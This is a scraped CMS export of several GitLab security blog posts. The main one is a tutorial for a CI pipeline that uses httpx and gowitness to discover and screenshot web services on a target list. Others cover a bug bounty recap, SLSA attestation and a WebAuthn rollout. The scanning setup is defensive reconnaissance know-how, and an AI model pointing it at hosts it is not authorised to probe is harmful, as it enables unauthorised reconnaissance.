parties.\n\nI'd really like to thank:\n* The folks on the git-security mailing list who had to deal with our findings\n* The OSTIF for making this happen and giving me a chance to participate\n* Markus and Eric from X41 for high-quality hacking time\n\nIn the end, this joint effort could strenghten the security of Git, which is a fundamental part not only of GitLab but almost the whole software developing world.\n\n### References\n\n* [Git announcement](https://www.openwall.com/lists/oss-security/2023/01/17/4)\n* [CVE-2022-41903 advisory](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq)\n* [CVE-2022-23521 advisory](https://github.com/git/git/security/advisories/GHSA-c738-c5qq-xg89)\n* [OSTIF blogpost](https://ostif.org/the-audit-of-git-is-complete/)\n* [X41 blogpost](https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/)\n* [Full public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf)\n* [GitLab critical security release addressing the issues](/releases/2023/01/17/critical-security-release-gitlab-15-7-5-released/)\n",[14,1212],{"slug":2965,"featured":6,"template":677},"git-security-audit","content:en-us:blog:git-security-audit.yml","Git Security Audit","en-us/blog/git-security-audit.yml","en-us/blog/git-security-audit",{"_path":2971,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2972,"content":2978,"config":2983,"_id":2985,"_type":16,"title":2986,"_source":17,"_file":2987,"_stem":2988,"_extension":20},"/en-us/blog/monitor-web-attack-surface-with-gitlab",{"title":2973,"description":2974,"ogTitle":2973,"ogDescription":2974,"noIndex":6,"ogImage":2975,"ogUrl":2976,"ogSiteName":767,"ogType":768,"canonicalUrls":2976,"schema":2977},"Monitor your web attack surface with GitLab CI/CD and GitLab Pages","Use this tutorial to build an automated web application screenshot report.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682233/Blog/Hero%20Images/aleks-dahlberg-glass-unsplash.jpg","https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Monitor your web attack surface with GitLab CI/CD and GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-01-11\",\n      }",{"title":2973,"description":2974,"authors":2979,"heroImage":2975,"date":2980,"body":2981,"category":14,"tags":2982},[994],"2023-01-11","\n\n_DISCLAIMER: We believe that understanding the tactics and techniques of both attackers and defenders is key to keeping our organization secure. It's important to note that GitLab security blog posts are for informational purposes only, not to provide specific security advice._\n\nAttackers love insecure web applications. Lucky for them, these applications are everywhere! Test environments, development instances, default installations with hardcoded passwords - you name it, it's out there somewhere waiting to be exploited.\n\nThe easier it becomes to deploy resources in the cloud, the more of these insecure web applications end up exposed to hacking and/or unintended access. You can get ahead of potential threats by proactively identifying and reviewing your own web application attack surface.\n\nIn this tutorial, we'll explain how you can monitor the web applications in your environment by generating a screenshot report using GitLab CI/CD, GitLab Pages, and a handful of free and open source security tools. You'll end up with a fully automated solution that can:\n\n- Identify web services on a list of addresses you own.\n- Capture screenshots of these web services.\n- Build an authenticated web portal for you to visually see each site that was discovered.\n\n## Building the solution\n\n### Start with a project\n\nInside the GitLab web interface, [create a blank project](https://gitlab.com/projects/new#blank_project). The default settings should be fine, but you should review to confirm that the default settings are appropriate. Pay particular attention to the \"Visibility Level\" - you may want to set this to private.\n\n![Creating a GitLab project](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-create-project.png){: .shadow.medium.center}\n\n\n\n### Write the automation scripts\n\nWe'll use three scripts in this project:\n\n-  `setup.sh`: Install the required tooling.\n- `discover-services.sh`: Identify web services using [httpx](https://github.com/projectdiscovery/httpx).\n- `take-screenshots.sh`: Use [gowitness](https://github.com/sensepost/gowitness) to generate a static website containing screenshots of each identified web service.\n\nThe HTML generated by gowitness will be placed into the `public` folder, which is used by [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) to generate a website you can click through to review the findings.\n\nEach script will generate output files which may be useful for additional analysis. These will be made available as GitLab [job artifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html), so that you can download and review them at will.\n\nTo complete this step, first create a new folder in your project called `scripts`. Then, add the following files into that folder:\n\n#### setup.sh\n\n```bash\n#!/bin/bash\n\n# create folder for downloaded binaries\nmkdir bin\n\n# install general pre-reqs\napt -qq update > /dev/null\napt -qq install -y wget unzip > /dev/null\n\n# install pre-reqs for gowitness\napt -qq install -y chromium > /dev/null\n\n# download tools\nwget -q https://github.com/projectdiscovery/httpx/releases/download/v1.2.5/httpx_1.2.5_linux_amd64.zip\nwget -q https://github.com/sensepost/gowitness/releases/download/2.4.2/gowitness-2.4.2-linux-amd64\n\n# unzip / move all relases to bin folder\nunzip httpx_1.2.5_linux_amd64.zip -d bin/\nmv gowitness-2.4.2-linux-amd64 bin/gowitness\nchmod u+x bin/gowitness\n```\n\n#### discover-services.sh\n\n```bash\n#!/bin/bash\n\n# You may want to dynamically generate a target file with each run.\n# For this demo, we are using a list defined inside project CI variables.\nTARGETS=$TARGET_FILE\n\n# create output directory\nmkdir ./targets\n\n# Identify web services\necho \"Identifying web services across $(cat \"$TARGETS\" | wc -l) targets...\"\ncat \"$TARGETS\" | bin/httpx -o targets/web-services.txt -p 80,443\n\necho \"Discovered $(cat targets/web-services.txt | wc -l) web services.\"\n```\n\n#### take-screenshots.sh\n\n```bash\n#!/bin/bash\n\n# Run gowitness\nbin/gowitness file -f targets/web-services.txt\nbin/gowitness report export -f report.zip\n\n# Move the report to pages outdir\nunzip report.zip\nmv gowitness public\n```\n\n\n\n### Set up the pipeline\n\nNext, we need to create the `.gitlab-ci.yml` file where we configure all of these scripts to run inside a [pipeline](https://docs.gitlab.com/ee/ci/pipelines/). Create this file in the root of the project with the following contents:\n\n```yaml\nstages:\n  - scan\n  - deploy\n\nscanner:\n  image: debian:bullseye\n  stage: scan\n  script:\n  - bash ./scripts/setup.sh\n  - bash ./scripts/discover-services.sh\n  - bash ./scripts/take-screenshots.sh\n  only:\n  - schedules\n  - web\n  artifacts:\n    paths:\n    - targets\n    - public\n\npages:\n  stage: deploy\n  script:\n  - echo \"\" # do nothing\n  only:\n  - schedules\n  - web\n  artifacts:\n    paths:\n    - public\n```\n\nThis file defines a pipeline with two stages:\n\n- The first stage (`scan`) runs all three scripts we created. This will generate a static website inside a folder called `public`.\n- The second stage (`deploy`) is required for GitLab Pages to work - this is where the static site is published on a publicly-accessible URL that can be configured to require GitLab authentication.\n\nYou can see we've added an `only` condition to both of these stages. This ensures that the tool doesn't run every time you make a change to the code - it runs only on a defined schedule or when you manually choose to run it via the web UI.\n\n### Define your targets\n\nYou may have noticed the `TARGETS_FILE` variable inside the `discover-services.sh` script from earlier. That's a [file variable](https://docs.gitlab.com/ee/ci/variables/#cicd-variable-types) that will contain the targets you wish to scan. Defining this as a variable allows us to create a generic, portable project that can be forked and cloned without containing any specific targets.\n\nTo add some targets to your project, go to \"Settings -> CI/CD -> Variables\" and click the \"Add variable\" button. Enter `TARGET_FILE` for the \"Key\" and fill in one host name or IP address per line in the \"Value\" section. Make sure to add a blank line to the end of the list - this is required for the scripts to run correctly.\n\n![Creating a CI environment variable](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-create-variable.png){: .shadow.center}\n\n\nWe run a similar version of this screenshot tool internally, and we generate this file dynamically by exporting all of our public addresses from our various cloud environments. If you decide to implement something like that, we'd recommend adding an additional stage to your `.gitlab-ci.yaml` file.\n\n### Schedule and run the pipeline\n\nGitLab projects have a built-in [scheduler](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) that lets you automatically run pipelines at specific dates/times. You can access this inside your project at \"CI/CD -> Schedules\". Here, we'll create a new schedule to run once a week on Monday mornings.\n\n![Creating a CI schedule](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-schedule.png){: .shadow.center}\n\n\nAfter saving the schedule, you can also choose to manually run the pipeline by clicking the play button shown below. If you are following along, go ahead and do this now.\n\n![Running a CI schedule](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-play.png){: .shadow.center}\n\n\nYou can follow the progress of your pipeline by navigating to \"CI/CD -> Pipelines\". Click on the status of the most recent pipeline. Here, you'll see the stages we configured earlier.  If all goes well, you'll see green check marks on each stage. You can click on an individual stage to watch the console logs and perform any necessary troubleshooting.\n\n![CI pipeline success icons](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-success.png){: .shadow.center}\n\n\n### Enable notifications\n\nOnce you've set up a schedule, you might want to be alerted whenever a new report is ready. Luckily, GitLab has you covered here!\n\nInside your project, go to \"Settings -> Integrations -> Pipeline Status Emails\". Put your email address into the \"Recipients\" field and uncheck the box \"Notify only broken pipelines\". This will send you an email each time a pipeline completes and a new screenshot report has been published to your GitLab Pages site.\n\nGitLab offers a slew of other notifcation options as well, including things like Slack and Teams. If you prefer one of those, you can [read more in the docs](https://docs.gitlab.com/ee/integration/).\n\n![Create pipeline notifications](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-notifications.png){: .shadow.center}\n\n\n### View your GitLab Pages site\n\nOnce the pipeline has completed successfully, your site should be available. You can obtain the site's public address by going to \"Settings -> Pages\".\n\nIf you set your project to be private, then by default only project members who are authenticated to the GitLab server can view the site. You can modify these settings under \"Settings -> General -> Visibility, project features, permissions -> Pages\".\n\n![Screenshot of gowitness interface](https://about.gitlab.com/images/blogimages/2023-01-17-monitor-web-attack-surface-with-gitlab/screenshot-gowitness.png){: .shadow.center}\n\n\n## Summary\n\nWeb applications are everywhere. Often, they are deployed with vulnerable configurations and are left forgotten - unmonitored and awaiting exploitation. You can build a monitoring solution using GitLab and free, open-source tools that gives you a visual overview of the web apps running in your own environment.\n\nThis blog walked you through manually setting this up yourself. You can view our example project [here](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/webapp-screenshots), which was created exactly as decribed above. Feel free to fork or clone that project as a shortcut to setting it up from scratch yourself.\n\nWe love to find creative uses for GitLab, and this is one we use ourselves internally. If you've come up with some of your own interesting use cases, we would love to hear about them! Or, if there is anything else you'd like our security team to write about, please do let us know! You can share your thoughts in the comments below or via issues and merge requests on any of our projects.\n\nThanks for reading!\n",[14,958],{"slug":2984,"featured":6,"template":677},"monitor-web-attack-surface-with-gitlab","content:en-us:blog:monitor-web-attack-surface-with-gitlab.yml","Monitor Web Attack Surface With Gitlab","en-us/blog/monitor-web-attack-surface-with-gitlab.yml","en-us/blog/monitor-web-attack-surface-with-gitlab",{"_path":2990,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2991,"content":2997,"config":3003,"_id":3005,"_type":16,"title":3006,"_source":17,"_file":3007,"_stem":3008,"_extension":20},"/en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards",{"title":2992,"description":2993,"ogTitle":2992,"ogDescription":2993,"noIndex":6,"ogImage":2994,"ogUrl":2995,"ogSiteName":767,"ogType":768,"canonicalUrls":2995,"schema":2996},"Why 2022 was a record-breaking year in bug bounty awards","Find out about the researchers who together earned more than $1 million USD in prizes and their bug hunting contributions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679034/Blog/Hero%20Images/inside-gitLab-public-bug-bounty-program.png","https://about.gitlab.com/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why 2022 was a record-breaking year in bug bounty awards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Malcolm\"}],\n        \"datePublished\": \"2022-12-19\",\n      }",{"title":2992,"description":2993,"authors":2998,"heroImage":2994,"date":3000,"body":3001,"category":14,"tags":3002},[2999],"Nick Malcolm","2022-12-19","Each year, GitLab's [Application Security team](/handbook/security/security-engineering-and-research/application-security/) likes to recap the highlights from GitLab's bug bounty program.\n\nIt's been a busy 2022 for security teams across the industry, and we have been fortunate to receive a huge number of excellent reports that help us keep GitLab and its customers secure. With the [increase we made to our bug bounty award amounts](/blog/3rd-annual-bug-bounty-contest/#-increased-bounties-across-all-bounty-ranges-) in November 2021 and increased researcher engagement, we've broken a new record by **awarding over $1 million USD** in bounties during 2022!\n\nWe wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards as hugely beneficial and money well spent.\n\n## 2022 by the numbers\n\n\u003C!--\n\nSSoT for amounts is https://hackerone.com/gitlab/analytics/explore\nIt includes reports made prior to 2022 but where the resolution and payout were in 2022. It also includes valid but still unresolved reports where partial or full award has already been made.\n\nSSoT for top researchers is https://hackerone.com/gitlab/program_statistics\n\nSSoT for non-confidential ~hackerone issues is https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=all&label_name%5B%5D=HackerOne&confidential=no&first_page_size=100\nThe count is the number of non-confidential ~hackerone issues created in 2022 (open + closed)\n\nSSoT for number of reports and researchers is https://gitlab.com/gitlab-com/gl-security/appsec/tooling/h1-stats/-/tree/master/ruby\n\nSSoT for Ultimate licenses is via https://about.gitlab.com/handbook/security/security-engineering-and-research/application-security/runbooks/hackerone-process.html#awarding-ultimate-licenses\n-->\n\n- Awarded a total of $1,055,770 USD in bounties across 221 valid reports, up from $337,780 last year!\n- Three researchers earned $100,000+ USD across their multiple reports, and another seven earned over $20,000 USD.\n- Received a total of 920 reports from 424 researchers in 2022.\n- Resolved 158 valid reports and made 94 public - this year, we received a number of information leak reports which, unlike vulnerabilities, don't need a public GitLab issue.\n- Had 138 security researchers submit more than one report this year, signaling a positive commitment to our program.\n- Awarded eight GitLab Ultimate licenses to researchers who submitted three or more valid reports.\n\n_Note: Data is accurate as of December 16, 2022._\n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab). That's also the place to get started with our program if you want in on the action!\n\n## Reports and reporters that stood out\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most valid reports to our program.** Congratulations to [@joaxcar](https://hackerone.com/joaxcar) who made 22 valid and now-resolved reports in 2022.\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most valid reports from a newcomer to our program.** Welcome and congratulations to [@albatraoz](https://hackerone.com/albatraoz) who made seven valid and now-resolved reports in 2022.\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Best written report.** Well done and thank you [@yvvdwf](https://hackerone.com/yvvdwf) for writing up a really interesting [remote code execution bug](https://gitlab.com/gitlab-org/gitlab/-/issues/371098). The walkthrough of the code and root cause, the scripts to create a dummy malicious server, and the collaboration with our AppSec team during validation was fantastic!\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** High five, [@vakzz](https://hackerone.com/vakzz), who captured the flag with a [novel local `git` read vulnerability](https://gitlab.com/gitlab-org/gitlab/-/issues/372165)! He also did [a neat followup](https://gitlab.com/gitlab-org/gitlab/-/issues/371884) to `@yvvdwf`'s RCE mentioned above.\n\n\u003Ci class=\"fas fa-exclamation fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** We're thrilled to recognize [@taraszelyk](https://hackerone.com/taraszelyk), whose back-to-back information disclosure submissions led to a lot of positive security changes within GitLab. Thanks, Taras!\n\nWe will be getting in touch with these researchers to send out [GitLab Swag Shop](https://shop.gitlab.com) vouchers as a token of our appreciation.\n\n## Changes made in 2022\n\n- We adopted HackerOne's Gold Standard Safe Harbor statement. See [this announcement from HackerOne](https://www.hackerone.com/press-release/hackerone-announces-gold-standard-safe-harbor-improve-protections-good-faith-security).\n- We introduced [a $20,000 USD capture the flag bonus](https://hackerone.com/gitlab#user-content-capture-the-flag-for-20000), which was [captured once](https://gitlab.com/gitlab-org/gitlab/-/issues/372165).\n- We created [HackerOne Questions](https://gitlab.com/gitlab-com/gl-security/appsec/hackerone-questions/), a dedicated space for getting in touch with the AppSec team outside of HackerOne reports.\n- Created [\"Reproducible Vulnerabilities\"](/handbook/security/security-engineering-and-research/application-security/reproducible-vulnerabilities.html), a brand-new learning resource in our handbook structured with expandable hint sections so that you can challenge yourself and learn how to find real security bugs.\n- Continued to iterate transparently on our [HackerOne triage process](https://gitlab.com/gitlab-com/www-gitlab-com/-/commits/master/sites/handbook/source/handbook/security/security-engineering-and-research/application-security/runbooks/hackerone-process.html.md), and on our [Bug Bounty Calculator](https://gitlab.com/gitlab-com/gl-security/appsec/cvss-calculator/-/commits/master), including standardized amounts for non-vulnerability reports like information leaks.\n\nThis year, we also continued to provide content that helps both researchers and other organizations running bug bounty programs:\n\n- GitLab Blog: [\"Want to start hacking? Here's how to quickly dive in\"](/blog/cracking-our-bug-bounty-top-10/)\n- GitLab Blog: [\"How GitLab handles security bugs (and why it matters)\"](/blog/how-gitlab-handles-security-bugs/)\n- YouTube: [NullCon 2022 Video Panel: \"CXO Panel: Bug Bounty? Great! Now What?\"](https://www.youtube.com/watch?v=uqvai-ml1iV4)\n\nAs always, it is a real pleasure to work with the best security researchers our industry has to offer, including many newcomers. GitLab's AppSec team is committed to being an industry leader when it comes to the transparency of our bug bounty program and the awards given. [Let us know how we're doing](https://gitlab.com/gitlab-com/gl-security/appsec/hackerone-questions/) so we can iterate on our program processes.\n\nHere's to 2023 - happy hacking!",[14,899,267],{"slug":3004,"featured":6,"template":677},"why-2022-was-a-record-breaking-year-in-bug-bounty-awards","content:en-us:blog:why-2022-was-a-record-breaking-year-in-bug-bounty-awards.yml","Why 2022 Was A Record Breaking Year In Bug Bounty Awards","en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards.yml","en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards",{"_path":3010,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3011,"content":3017,"config":3023,"_id":3025,"_type":16,"title":3026,"_source":17,"_file":3027,"_stem":3028,"_extension":20},"/en-us/blog/achieve-slsa-level-2-compliance-with-gitlab",{"title":3012,"description":3013,"ogTitle":3012,"ogDescription":3013,"noIndex":6,"ogImage":3014,"ogUrl":3015,"ogSiteName":767,"ogType":768,"canonicalUrls":3015,"schema":3016},"Achieve SLSA Level 2 compliance with GitLab","Compliance mandates call for controls to prevent software tampering, improve integrity of builds and artifacts, and support attestation. Here's how GitLab can help.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667094/Blog/Hero%20Images/container-security.jpg","https://about.gitlab.com/blog/achieve-slsa-level-2-compliance-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Achieve SLSA Level 2 compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-11-30\",\n      }",{"title":3012,"description":3013,"authors":3018,"heroImage":3014,"date":3020,"body":3021,"category":14,"tags":3022},[3019],"Sandra Gittlen","2022-11-30","\n\nOrganizations are under intense pressure from governing bodies to attest to the fact that their software supply chains have not been tampered with. The industry has come together to create an industry standard, Supply chain Levels for Software Artifacts ([SLSA](https://slsa.dev/)), to guide companies on exactly how to achieve such attestation. GitLab helps organizations comply with SLSA requirements by incorporating attestation capabilities into its DevSecOps platform.\n\n“Although SLSA compliance is relatively new, security-conscious DevOps teams are already adopting its requirements to demonstrate their software is trustworthy,” says [Sam White](https://gitlab.com/sam.white), Group Manager of Product for the [Govern stage](/direction/govern/) at GitLab. \n\nGitLab Federal CTO [Joel Krooswyk](https://gitlab.com/jkrooswyk) agrees. “DevOps teams will need to understand attestation as part of new government regulations around the larger release verification process. Vendors, third-party development and integration providers, and other data-sensitive industries will be required to adhere to published guidance,” he says. “GitLab helps companies across all sectors address these compliance mandates.”\n\n## What is SLSA?\n\nSLSA first launched in 2021 in response to calls for a framework to [secure software supply chains](/blog/the-ultimate-guide-to-software-supply-chain-security/). SLSA provides a checklist of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure. The goal is for software developers to be able to use best practices to [guarantee the integrity](/blog/securing-the-software-supply-chain-through-automated-attestation/) of each and every artifact, more specifically that the source code users are relying on is the code they are actually using and that the build machine producing the artifacts was secure.\n\nThe SLSA standard has four levels that examine the builds, sources, and dependencies in open source and commercial software. The levels build on one another, growing from simple visibility and being able to generate provenance to providing the highest assurances of build integrity and measures for dependency management.\n\nGitLab’s DevSecOps platform currently supports SLSA Levels 1 and 2. GitLab makes it simple for users to comply with these first two levels, according to White. “Whether you are working on an open source project or developing commercial software, there is no reason not to generate provenance for your code and attest to it. Even if you are just tinkering around, there is no harm in following the SLSA specifications,” he says.\n\n## How to generate artifact metadata with the GitLab Runner\n\nGitLab enables users to generate artifact metadata following the SLSA format for any artifacts that are built on the platform. Because the process happens within the GitLab Runner, without needing third-party software, it prevents the opportunity for any tampering or corruption of the attestation itself.\n\nTo generate an attestation, all that is required is to simply set `RUNNER_GENERATE_ARTIFACTS_METADATA: true` in your `.gitlab-ci.yml` file. You can set the variable globally or on a per-job basis. A CI pipeline then will produce a data.txt file and generate metadata to describe how that file was produced and verify the origin of it or the provenance of it. Users can download this artifact file, which comes as a zip file with the two files inside of it – one is the data.txt and the other is an artifacts metadata .json file.\n\nThe file offers metadata about what was done and it lists out all of the different parameters and input points, including the SHA hash of the file itself as well as the hash of the repository.\n\n“This level of detail enables someone to come in later and get an idea of the steps that were taken in order to produce it as well as information about where it was built so someone can protect their artifacts and reduce the chance of tampering,” White says.\n\n\nFollow the step-by-step instructions here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MlIdqrDgI8U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe idea of all this, White explains, is to provide a recipe for how the file was built so that if a DevOps team needed to replicate it, they could use those instructions on another machine and get the same build.\n\n## GitLab’s next SLSA step\n\nAs SLSA matures, GitLab plans to [introduce additional features](/direction/supply-chain/), such as the ability to sign the attestation, to guide DevOps teams through SLSA Levels 3 and 4. For instance, users currently can use an external code signer to verify the signing and verify the attestation but the ideal state would be to integrate code signing functionality directly into the platform. GitLab also plans to add capabilities that enable more detailed inspection and validation of attestations from upstream dependencies.\n\n**Disclaimer This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.**\n\n",[776,14,958,184],{"slug":3024,"featured":6,"template":677},"achieve-slsa-level-2-compliance-with-gitlab","content:en-us:blog:achieve-slsa-level-2-compliance-with-gitlab.yml","Achieve Slsa Level 2 Compliance With Gitlab","en-us/blog/achieve-slsa-level-2-compliance-with-gitlab.yml","en-us/blog/achieve-slsa-level-2-compliance-with-gitlab",{"_path":3030,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3031,"content":3037,"config":3044,"_id":3046,"_type":16,"title":3047,"_source":17,"_file":3048,"_stem":3049,"_extension":20},"/en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days",{"title":3032,"description":3033,"ogTitle":3032,"ogDescription":3033,"noIndex":6,"ogImage":3034,"ogUrl":3035,"ogSiteName":767,"ogType":768,"canonicalUrls":3035,"schema":3036},"How we boosted WebAuthn adoption from 20 percent to 93 percent in two days","With phishing campaigns on the rise across the industry, we accelerated rollout of a program to further enhance our security hygiene program. This is how we did it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682498/Blog/Hero%20Images/webauthn.jpg","https://about.gitlab.com/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we boosted WebAuthn adoption from 20 percent to 93 percent in two days\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Rubin\"}],\n        \"datePublished\": \"2022-11-09\",\n      }",{"title":3032,"description":3033,"authors":3038,"heroImage":3034,"date":3040,"body":3041,"category":14,"tags":3042},[3039],"Eric Rubin","2022-11-09","\nIn light of the high-profile phishing campaigns that breached public technology companies (e.g. [Twilio](https://techcrunch.com/2022/08/08/twilio-breach-customer-data/), [Uber](https://www.wired.com/story/uber-hack-mfa-phishing/), [Dropbox](https://www.securityweek.com/hackers-stole-source-code-personal-data-dropbox-following-phishing-attack), and others), GitLab decided to accelerate the implementation of the next phase of our security hygiene program, which would further enhance our security posture. As part of this acceleration, GitLab’s IT and Security teams recommended a swift adoption of phishing-resistant authentication across the entire company.\n\n## What did we decide to implement?\n\nWe already required multi-factor authentication (MFA) for all team members to log in to Okta, our primary launching point for the SaaS applications we use. The majority of our team members were primarily using the Okta Verify mobile app for push notifications, although they also had the options of using time-based one-time password ([TOTP](https://www.techtarget.com/searchsecurity/definition/time-based-one-time-password-TOTP)) codes, or [WebAuthn/FIDO2](https://webauthn.guide/) devices such as biometric (for example, Touch ID and Face ID) or security keys. \n\nWe decided to mandate the use of WebAuthn devices as the sole method for logging into Okta and remove other methods, and to get almost all team members enrolled within 48 hours from the date of launch.\n\n## Why is using WebAuthn important?\n\nOther two-factor authentication methods have known limitations. We already prohibited the use of SMS as a method for MFA as it is vulnerable to [SIM swap attacks](https://9to5mac.com/2021/10/01/protections-against-sim-swap/#:~:text=A%20port%2Dout%20attack%20is,new%20account%2C%20which%20they%20control); additionally, SMS provides a long duration for the texted code to be used by a phisher on the legitimate website. TOTP codes have a shorter duration, but still could allow for [relay attacks](https://intel471.com/blog/otp-password-bots-telegram). Push-based MFA such as the Okta Verify mobile app is vulnerable to [MFA fatigue attacks](https://www.uber.com/newsroom/security-update), where an attacker repeatedly bombards the user in the hope that they either get frustrated and approve a notification to make it stop, or otherwise accidentally approve one. \n\nWe decided that we needed to go back to fundamentals – strong MFA that is phishing-resistant. WebAuthn uses public cryptography, which verifies that the website you are logging into is the correct one. Additionally, the website only allows specifically enrolled devices to complete the authentication. The WebAuthn device effectively takes the human out of the loop – you can’t send the credentials to a phishing site. \n\n## How did we communicate the change to mandatory WebAuthn?\n\nThe communication to team members about the transition to WebAuthn started with a company wide Slack announcement from our CEO and co-founder [Sid Sijbrandij](https://gitlab.com/sytses). The message was delivered on a Tuesday evening Pacific Time, with an implementation completion date of Thursday evening Pacific Time. \n\nWe also:\n- Created a dedicated Slack channel for team member questions.\n- Circulated a Google Doc FAQ with more than 47 questions populated by team members and answered by the [DRI](/handbook/people-group/directly-responsible-individuals/) for the implementation or other team members. At GitLab everyone is encouraged to contribute.\n- Highlighted the change in our internal newsletter.\n- Added documentation, including easy-to-follow instructions, to our [handbook](/handbook/business-technology/okta/).\n\n## How did we implement the change to WebAuthn?\n\nHow could we roll out WebAuthn so quickly, with more than 1,700 team members working remotely across more than 65 countries? We had already started the ball rolling earlier this year. First, we pre-tested with a small group of IT, and then company-wide volunteers, providing instructions for team members to use. Uptake was low though, so we knew we had to be more assertive. \n\nGitLab is a majority Mac company, so we were able to take advantage of the built-in Touch ID capability already available on team members' laptops. It was also very helpful that users were familiar with the technology from using it on their smartphones.\n\nFor the ~5% of users who are on Linux, we instructed them to use their YubiKeys, and if they didn’t already have one, we facilitated delivery via Yubico’s [YubiEnterprise Delivery](https://www.yubico.com/products/yubienterprise-delivery/). We allowed any team member who wanted a YubiKey to get one via our deal, including Mac users who wanted to use Firefox ([Touch ID isn’t supported yet](https://bugzilla.mozilla.org/show_bug.cgi?id=1536482)), those who work with their laptop docked and didn’t want a new Touch ID external keyboard, or any other reason. In all, we had about 20% of our team members take up our offer to obtain YubiKeys.\n\nOur biggest win after the start of rollout was the discovery of how to add new WebAuthn devices to Okta (such as a new laptop or smartphone) via QR code scanning. This meant that as long as team members had a single enrolled device (either their laptop or their phone), they could [self-service](/handbook/business-technology/okta/#i-want-to-add-touch-id--face-id-to-okta-for-my-mobile-device-iphone-android-tablet) the WebAuthn enrollment of a new device, without requiring IT Helpdesk support. This helped us to speed the rollout and reinforced our security posture at a quicker pace, and meant that we didn’t have to send all team members YubiKeys that would only be used in the relatively rare event of needing to enroll a new device.\n\n## Initial results \n\nAfter the Slack announcement was posted, our IT Helpdesk team held virtual “office hours” on Zoom staffed for at least two hours per region. During the virtual office hours team members could drop in and get real-time help. After 24 hours from the launch of the initiative, we found that 80% of team members had already enrolled!\n\nTo push us further along, a Slack Bot was created and customized messages were sent directly to team members who had not yet enrolled and their managers. This additional step brought our enrollment efforts to the 93% mark of our team members.\n\nAt our deadline, we implemented carefully crafted new policies in Okta, locking down the vast majority of team members to using only WebAuthn. Small exception groups were created for those on PTO (because it would be frustrating for them and create unnecessary troubleshooting requests for the IT Helpdesk), as well as some users awaiting arrival of their shipped YubiKeys.\n\nThe new Okta policy and communication efforts were quite successful for us, and we have been pleased at the low volume of support requests, given the magnitude of the change and the timeframe given.\n\n## Going forward \n\nWe know that [threat vectors are always evolving](/blog/top-challenges-to-securing-the-software-supply-chain/) and we will continue to monitor them closely. We also will continue to assess our security posture and iterate to make improvements as needed.\n\nCover image by [FLY:D](https://unsplash.com/@flyd2069) on Unsplash.\n{: 